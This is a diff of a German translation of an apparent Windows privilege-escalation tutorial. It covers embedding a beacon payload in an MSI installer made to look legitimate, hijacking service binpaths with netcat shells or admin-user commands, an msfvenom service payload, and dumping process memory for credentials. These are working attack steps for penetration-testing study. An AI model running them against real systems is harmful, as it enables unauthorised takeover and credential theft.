PowerUP -Verwende den Befehl `Write-UserAddMSI` von power-up, um im aktuellen Verzeichnis ein Windows-MSI-Binary zu erstellen, um Privilegien zu eskalieren. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der nach dem Hinzufügen eines Benutzers/einer Gruppe fragt (du wirst also GIU-Zugriff benötigen): +Verwende den Befehl `Write-UserAddMSI` von PowerUP, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Script schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (du benötigst dafür GUI-Zugriff): ``` Write-UserAddMSI ``` -Führe einfach das erstellte binary aus, um Privilegien zu erhöhen. +Führe einfach die erstellte Binärdatei aus, um die Rechte zu erhöhen (escalate privileges). ### MSI Wrapper -Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine "**.bat**" Datei wrappen kannst, wenn du **nur** **Befehlszeilen** **ausführen** möchtest +Lies dieses Tutorial, um zu lernen, wie man einen MSI Wrapper mit diesem Tool erstellt. Beachte, dass du eine "**.bat**" Datei einpacken kannst, wenn du **nur** **Befehlszeilen** ausführen möchtest {{#ref}} msi-wrapper.md {{#endref}} -### MSI mit WIX erstellen +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### MSI mit Visual Studio erstellen +### Create MSI with Visual Studio - **Generiere** mit Cobalt Strike oder Metasploit ein **neues Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Öffne **Visual Studio**, wähle **Create a new project** und tippe "installer" in das Suchfeld. Wähle das **Setup Wizard**-Projekt und klicke **Next**. -- Gib dem Projekt einen Namen, wie **AlwaysPrivesc**, verwende **`C:\privesc`** für den Speicherort, wähle **place solution and project in the same directory**, und klicke **Create**. -- Klicke weiter auf **Next**, bis du Schritt 3 von 4 erreichst (choose files to include). Klicke **Add** und wähle das gerade erzeugte Beacon payload aus. Dann klicke **Finish**. +- Öffne **Visual Studio**, wähle **Create a new project** und gib "installer" in das Suchfeld ein. Wähle das **Setup Wizard**-Projekt und klicke **Next**. +- Vergib dem Projekt einen Namen, z. B. **AlwaysPrivesc**, verwende **`C:\privesc`** als Speicherort, aktiviere **place solution and project in the same directory** und klicke **Create**. +- Klicke weiter auf **Next**, bis du zu Schritt 3 von 4 (choose files to include) gelangst. Klicke **Add** und wähle das zuvor generierte Beacon-Payload aus. Dann klicke **Finish**. - Markiere das **AlwaysPrivesc**-Projekt im **Solution Explorer** und ändere in den **Properties** **TargetPlatform** von **x86** auf **x64**. -- Es gibt weitere Properties, die du ändern kannst, wie **Author** und **Manufacturer**, was die installierte App seriöser erscheinen lassen kann. +- Es gibt weitere Eigenschaften, die du ändern kannst, wie **Author** und **Manufacturer**, die die installierte App legitimer erscheinen lassen. - Rechtsklicke das Projekt und wähle **View > Custom Actions**. - Rechtsklicke **Install** und wähle **Add Custom Action**. -- Doppelklicke auf **Application Folder**, wähle deine **beacon.exe**-Datei und klicke **OK**. Dadurch wird sichergestellt, dass das Beacon payload ausgeführt wird, sobald der Installer gestartet wird. +- Doppelklicke auf **Application Folder**, wähle deine **beacon.exe**-Datei und klicke **OK**. Dadurch wird sichergestellt, dass das Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird. - Unter den **Custom Action Properties** ändere **Run64Bit** auf **True**. -- Schließlich **baue es**. -- Wenn die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stelle sicher, dass du die Plattform auf x64 gesetzt hast. +- Baue das Projekt schließlich **build it**. +- Falls die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` erscheint, stelle sicher, dass du die Plattform auf x64 gesetzt hast. -### MSI-Installation +### MSI Installation Um die **Installation** der bösartigen `.msi`-Datei im **Hintergrund** auszuführen: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Um diese Schwachstelle auszunutzen, können Sie verwenden: _exploit/windows/local/always_install_elevated_ +Um diese Schwachstelle auszunutzen, können Sie Folgendes verwenden: _exploit/windows/local/always_install_elevated_ ## Antivirus und Detektoren ### Audit-Einstellungen -Diese Einstellungen bestimmen, was **protokolliert** wird, daher sollten Sie darauf achten +Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, es ist interessant zu wissen, wohin die logs gesendet werden. +Windows Event Forwarding — es ist interessant zu wissen, wohin die Logs gesendet werden ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** ist für die **Verwaltung lokaler Administrator-Passwörter** konzipiert und stellt sicher, dass jedes Passwort auf Domänen-Computern **einzigartig, zufällig und regelmäßig aktualisiert** wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen erteilt wurden, sodass sie lokale Admin-Passwörter bei Berechtigung einsehen können. +**LAPS** ist für die **Verwaltung lokaler Administratorpasswörter** konzipiert und stellt sicher, dass jedes Passwort auf Computern, die einer Domäne angehören, **einzigartig, zufällig generiert und regelmäßig aktualisiert** wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen durch ACLs ausreichende Berechtigungen gewährt wurden, sodass sie, falls autorisiert, lokale Admin-Passwörter einsehen können. {{#ref}} @@ -299,28 +297,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Wenn aktiviert, werden **Klartext-Passwörter im LSASS** (Local Security Authority Subsystem Service) gespeichert.\ +If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Ab **Windows 8.1** hat Microsoft den Schutz der Local Security Authority (LSA) verstärkt, um Versuche von nicht vertrauenswürdigen Prozessen zu **blockieren**, ihren **Speicher auszulesen** oder Code zu injizieren und so das System weiter abzusichern.\ +Ab **Windows 8.1** hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche von nicht vertrauenswürdigen Prozessen zu **blockieren**, ihren Speicher zu **lesen** oder Code zu injizieren und damit das System weiter abzusichern.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** wurde mit **Windows 10** eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten Anmeldeinformationen vor Bedrohungen wie pass-the-hash-Angriffen zu schützen.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** wurde in **Windows 10** eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten credentials vor Bedrohungen wie pass-the-hash attacks zu schützen.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Betriebssystemkomponenten genutzt. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheitspaket authentifiziert werden, werden für den Benutzer typischerweise domain credentials erstellt.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Komponenten des Betriebssystems verwendet. Wenn die Logondaten eines Benutzers von einem registrierten security package authentifiziert werden, werden in der Regel domain credentials für den Benutzer angelegt.\ +[**Mehr Informationen zu Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -328,7 +326,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Benutzer & Gruppen auflisten -Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat. +Prüfe, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat. ```bash # CMD net users %username% #Me @@ -345,7 +343,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Privilegierte Gruppen -Wenn Sie **zu einer privilegierten Gruppe gehören, können Sie möglicherweise Privilegien eskalieren**. Erfahren Sie hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren: +Wenn du **zu einer privilegierten Gruppe gehörst, kannst du möglicherweise Privilegien eskalieren**. Erfahre hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren: {{#ref}} @@ -354,8 +352,8 @@ Wenn Sie **zu einer privilegierten Gruppe gehören, können Sie möglicherweise ### Token-Manipulation -**Erfahren Sie auf dieser Seite mehr** darüber, was ein **token** ist: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Sehen Sie sich die folgende Seite an, um **mehr über interessante tokens** zu erfahren und wie man sie missbraucht: +**Erfahre mehr** darüber, was ein **Token** ist auf dieser Seite: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Sieh dir die folgende Seite an, um **mehr über interessante Tokens** zu erfahren und wie man sie missbrauchen kann: {{#ref}} @@ -372,11 +370,11 @@ klist sessions dir C:\Users Get-ChildItem C:\Users ``` -### Passwort-Richtlinie +### Passwortrichtlinie ```bash net accounts ``` -### Inhalt der Zwischenablage abrufen +### Den Inhalt der Zwischenablage abrufen ```bash powershell -command "Get-Clipboard" ``` @@ -384,8 +382,8 @@ powershell -command "Get-Clipboard" ### Datei- und Ordnerberechtigungen -Zuerst: Beim Auflisten der Prozesse **auf Passwörter in der Befehlszeile des Prozesses prüfen**.\ -Prüfe, ob du eine laufende binary **überschreiben kannst** oder ob du Schreibrechte am binary-Ordner hast, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen: +Zuerst, beim Auflisten der Prozesse **prüfe auf Passwörter in der Befehlszeile des Prozesses**.\ +Prüfe, ob du eine laufende **binary überschreiben kannst** oder ob du Schreibrechte für den binary folder hast, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -396,7 +394,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Prüfe immer auf mögliche [**electron/cef/chromium debuggers** laufen, du könntest sie missbrauchen, um escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Überprüfe immer, ob [**electron/cef/chromium debuggers** laufen, du könntest sie missbrauchen, um escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Überprüfen der Berechtigungen der Binärdateien von Prozessen** ```bash @@ -407,7 +405,7 @@ icacls "%%z" ) ) ``` -**Überprüfen der Berechtigungen der Ordner der Prozess-Binärdateien (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Überprüfen der Berechtigungen der Ordner der Prozess-Binaries (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -417,15 +415,13 @@ todos %username%" && echo. ``` ### Memory Password mining -Sie können einen memory dump eines laufenden Prozesses mit **procdump** von sysinternals erstellen. - -Dienste wie FTP haben die **credentials in clear text in memory**. Versuchen Sie, den memory dump zu erstellen und die credentials auszulesen. +Du kannst einen memory dump eines laufenden Prozesses mit **procdump** von sysinternals erstellen. Dienste wie FTP haben die **credentials in clear text in memory**, versuche den Speicher zu dumpen und die credentials auszulesen. ```bash procdump.exe -accepteula -ma ``` ### Unsichere GUI-Apps -**Anwendungen, die als SYSTEM laufen, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.** +**Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.** Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt" @@ -438,17 +434,17 @@ wmic service list brief sc query Get-Service ``` -### Berechtigungen +### Permissions -Du kannst **sc** verwenden, um Informationen zu einem Dienst zu erhalten +Du kannst **sc** verwenden, um Informationen über einen Dienst zu erhalten ```bash sc qc ``` -Es wird empfohlen, das binary **accesschk** von _Sysinternals_ zu haben, um die erforderliche Berechtigungsstufe für jeden Dienst zu prüfen. +Es wird empfohlen, das Binary **accesschk** von _Sysinternals_ zu haben, um das erforderliche privilege level für jeden Dienst zu prüfen. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Es wird empfohlen zu prüfen, ob "Authenticated Users" irgendeinen Dienst ändern können: +Es wird empfohlen zu prüfen, ob "Authenticated Users" einen Dienst ändern können: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -459,25 +455,25 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Dienst aktivieren -Wenn Sie diesen Fehler haben (zum Beispiel bei SSDPSRV): +Wenn dieser Fehler auftritt (zum Beispiel bei SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Sie können es wie folgt aktivieren +Sie können ihn mit folgendem Befehl aktivieren ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Beachte, dass der service upnphost auf SSDPSRV angewiesen ist, um zu funktionieren (für XP SP1)** +**Beachte, dass der Dienst upnphost zum Funktionieren auf SSDPSRV angewiesen ist (für XP SP1)** -**Eine weitere Umgehung dieses Problems ist das Ausführen von:** +**Eine weitere Umgehung** dieses Problems ist das Ausführen von: ``` sc.exe config usosvc start= auto ``` ### **Dienst-Binärpfad ändern** -Wenn die Gruppe "Authenticated users" über **SERVICE_ALL_ACCESS** auf einen Dienst verfügt, ist eine Änderung der ausführbaren Binärdatei des Dienstes möglich. Um **sc** zu ändern und auszuführen: +Wenn die Gruppe "Authenticated users" auf einen Service **SERVICE_ALL_ACCESS** besitzt, ist eine Änderung der ausführbaren Service-Binärdatei möglich. Um **sc** zu modifizieren und auszuführen: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -492,18 +488,18 @@ net stop [service name] && net start [service name] ``` Privilegien können durch verschiedene Berechtigungen eskaliert werden: -- **SERVICE_CHANGE_CONFIG**: Ermöglicht die Neukonfiguration der ausführbaren Datei des Dienstes. -- **WRITE_DAC**: Ermöglicht die Änderung von Berechtigungen, wodurch Service-Konfigurationen verändert werden können. -- **WRITE_OWNER**: Ermöglicht den Erwerb des Eigentums und die Änderung von Berechtigungen. -- **GENERIC_WRITE**: Vererbt die Fähigkeit, Service-Konfigurationen zu ändern. -- **GENERIC_ALL**: Vererbt ebenfalls die Fähigkeit, Service-Konfigurationen zu ändern. +- **SERVICE_CHANGE_CONFIG**: Ermöglicht die Neukonfiguration des Service-Binarys. +- **WRITE_DAC**: Ermöglicht die Neukonfiguration von Berechtigungen, wodurch Service-Konfigurationen geändert werden können. +- **WRITE_OWNER**: Ermöglicht das Übernehmen des Besitzes und das Neukonfigurieren von Berechtigungen. +- **GENERIC_WRITE**: Erbt die Fähigkeit, Service-Konfigurationen zu ändern. +- **GENERIC_ALL**: Erbt ebenfalls die Fähigkeit, Service-Konfigurationen zu ändern. -Zur Erkennung und Ausnutzung dieser Schwachstelle kann das Modul _exploit/windows/local/service_permissions_ verwendet werden. +Zur Erkennung und Ausnutzung dieser Schwachstelle kann _exploit/windows/local/service_permissions_ verwendet werden. ### Schwache Berechtigungen von Service-Binaries -**Prüfe, ob du die Binärdatei, die von einem Service ausgeführt wird, verändern kannst** oder ob du **Schreibrechte auf den Ordner** hast, in dem die Binärdatei liegt ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Du kannst jede binäre Datei, die von einem Service ausgeführt wird, mit **wmic** (nicht in system32) ermitteln und deine Berechtigungen mit **icacls** prüfen: +**Prüfe, ob du das Binary, das von einem Service ausgeführt wird, modifizieren kannst** oder ob du **Schreibrechte auf den Ordner** hast, in dem sich das Binary befindet ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Du kannst alle Binaries, die von einem Service ausgeführt werden, mithilfe von **wmic** (nicht in system32) ermitteln und deine Berechtigungen mit **icacls** prüfen: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -515,10 +511,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Services registry modify permissions +### Service-Registry: Änderungsberechtigungen -Du solltest überprüfen, ob du irgendein service registry ändern kannst.\ -Du kannst deine **permissions** auf einem **service registry** **prüfen**, indem du: +Du solltest prüfen, ob du eine Service-Registry ändern kannst.\ +Du kannst deine **Berechtigungen** an einer Service-**Registry** **prüfen**: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -527,15 +523,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Es sollte überprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte binary verändert werden. +Es sollte überprüft werden, ob **Authenticated Users** oder **NT AUTHORITY\INTERACTIVE** `FullControl`-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden. -Um den Path der ausgeführten binary zu ändern: +Um den Pfad der ausgeführten Binärdatei zu ändern: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Services registry AppendData/AddSubdirectory permissions -If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** +Wenn Sie diese Berechtigung für einen Registry-Schlüssel haben, bedeutet das, dass **Sie aus diesem Schlüssel Unter-Registries erstellen können**. Im Fall von Windows-Diensten ist das **ausreichend, um beliebigen Code auszuführen:** {{#ref}} @@ -544,15 +540,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. +Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Zeichenfolge vor einem Leerzeichen als ausführbare Datei auszuführen. -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, folgende Dateien auszuführen: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Liste alle unquoted service paths auf, ausgenommen diejenigen, die zu integrierten Windows-Diensten gehören: +Alle unquoted service paths auflisten, ausgenommen diejenigen, die zu built-in Windows services gehören: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -572,19 +568,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Du kannst diese Schwachstelle erkennen und exploit** mit metasploit: `exploit/windows/local/trusted\_service\_path` Du kannst manuell eine Service-Binärdatei mit metasploit erstellen: +**Sie können diese Schwachstelle erkennen und ausnutzen** mit metasploit: `exploit/windows/local/trusted\_service\_path` Sie können manuell ein Service-Binary mit metasploit erstellen: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Wiederherstellungsaktionen +### Wiederherstellungsmaßnahmen -Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte privilege escalation möglich sein. Weitere Details finden Sie in der [offiziellen Dokumentation](). +Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte eine Privilege Escalation möglich sein. Weitere Details finden sich in der [offiziellen Dokumentation](). ## Anwendungen ### Installierte Anwendungen -Prüfen Sie die **Berechtigungen der binaries** (vielleicht können Sie eines überschreiben und escalate privileges) und die der **Ordner** ([DLL Hijacking](dll-hijacking/index.html)). +Prüfe die **permissions of the binaries** (vielleicht kannst du eines überschreiben und Privilege Escalation erlangen) sowie die **Ordner** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -595,7 +591,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Schreibberechtigungen -Überprüfe, ob du eine Konfigurationsdatei so ändern kannst, dass du eine spezielle Datei lesen kannst, oder ob du ein binary ändern kannst, das von einem Administrator-Konto ausgeführt wird (schedtasks). +Prüfe, ob du eine config file ändern kannst, um eine spezielle Datei zu lesen, oder ob du ein binary ändern kannst, das von einem Administrator account ausgeführt wird (schedtasks). Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist: ```bash @@ -622,7 +618,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Beim Systemstart ausführen -**Prüfe, ob du einen Registry-Eintrag oder eine Binary überschreiben kannst, die von einem anderen Benutzer ausgeführt wird.**\ +**Prüfe, ob du einen Registry‑Eintrag oder eine Binary überschreiben kannst, die von einem anderen Benutzer ausgeführt wird.**\ **Lies** die **folgende Seite**, um mehr über interessante **autoruns locations to escalate privileges** zu erfahren: @@ -632,13 +628,13 @@ privilege-escalation-with-autorun-binaries.md ### Treiber -Suche nach möglichen **third party weird/vulnerable** Treibern +Suche nach möglichen **Drittanbieter-auffälligen/verwundbaren** Treibern ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Wenn ein Treiber ein arbitrary kernel read/write primitive offenlegt (häufig bei schlecht gestalteten IOCTL-Handlern), kannst du die Privilegien eskalieren, indem du einen SYSTEM token direkt aus dem kernel memory stiehlst. Siehe die Schritt‑für‑Schritt‑Technik hier: +Wenn ein Treiber eine arbitrary kernel read/write primitive offenlegt (häufig in schlecht gestalteten IOCTL-Handlern), kannst du Privilegien eskalieren, indem du einen SYSTEM token direkt aus dem Kernel-Speicher stiehlst. Siehe die Schritt‑für‑Schritt-Technik hier: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -647,11 +643,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Wenn du **Schreibrechte in einem im PATH enthaltenen Ordner** hast, könntest du eine von einem Prozess geladene DLL hijacken und damit **Privilegien eskalieren**. +Wenn du **Schreibrechte in einem Verzeichnis hast, das im PATH enthalten ist**, könntest du eine von einem Prozess geladene DLL hijacken und damit **Privilegien eskalieren**. + +Überprüfe die Berechtigungen aller Verzeichnisse im PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Weitere Informationen dazu, wie diese Prüfung ausgenutzt werden kann: +Für weitere Informationen darüber, wie man diese Prüfung ausnutzen kann: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -667,9 +665,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts-Datei +### hosts file -Prüfe auf weitere bekannte Computer, die in der hosts-Datei fest eingetragen sind. +Überprüfe die hosts file auf weitere bekannte Computer, die fest eingetragen sind. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -679,9 +677,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### Offene Ports -Prüfe von außen auf **restricted services** +Prüfe auf **eingeschränkte Dienste** von außen ```bash netstat -ano #Opened ports? ``` @@ -697,29 +695,29 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall-Regeln -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, deaktivieren, deaktivieren...)** +[**Sieh dir diese Seite für Firewall-bezogene Befehle an**](../basic-cmd-for-pentesters.md#firewall) **(Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)** -Mehr[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Mehr[ Befehle zur Netzwerk-Enumeration hier](../basic-cmd-for-pentesters.md#network) -### Windows-Subsystem für Linux (wsl) +### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` Die Binärdatei `bash.exe` kann auch in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` gefunden werden -Wenn Sie root-Rechte erlangen, können Sie auf jedem Port lauschen (das erste Mal, wenn Sie `nc.exe` verwenden, um auf einem Port zu lauschen, fragt die GUI, ob `nc` durch die Firewall zugelassen werden soll). +Wenn du root user bekommst, kannst du auf jedem Port lauschen (das erste Mal, wenn du `nc.exe` benutzt, um auf einem Port zu lauschen, fragt die GUI, ob `nc` von der Firewall zugelassen werden soll). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Um bash einfach als root zu starten, kannst du `--default-user root` verwenden. +Um bash einfach als root zu starten, kannst du `--default-user root` ausprobieren -Du kannst das `WSL`-Dateisystem im Ordner `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` erkunden. +Du kannst das `WSL` Dateisystem im Ordner `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` erkunden -## Windows-Anmeldeinformationen +## Windows Anmeldeinformationen ### Winlogon-Anmeldeinformationen ```bash @@ -735,14 +733,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Anmeldeinformations-Manager / Windows Vault -Aus [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, mit denen **Windows** die Benutzer **automatisch anmelden** kann. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter- oder Gmail-Anmeldedaten usw. dort speichern, sodass sie sich automatisch über Browser einloggen. Das ist jedoch nicht der Fall. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden kann**. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer ihre Facebook-, Twitter- oder Gmail-Anmeldedaten usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall. -Der Windows Vault speichert Anmeldeinformationen, mit denen Windows die Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource** (Server oder eine Website) zuzugreifen, **diesen Credential Manager** & Windows Vault nutzen kann und die gespeicherten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzername und Passwort eingeben müssen. +Windows Vault speichert Anmeldeinformationen, mit denen **Windows** Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen** (Server oder eine Website) **diesen Credential Manager nutzen kann** & Windows Vault und die bereitgestellten Anmeldeinformationen verwenden kann, anstatt dass Benutzer ständig Benutzername und Passwort eingeben. -Solange die Anwendungen nicht mit dem Credential Manager interagieren, denke ich nicht, dass es möglich ist, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also den Vault nutzen möchte, sollte sie sich 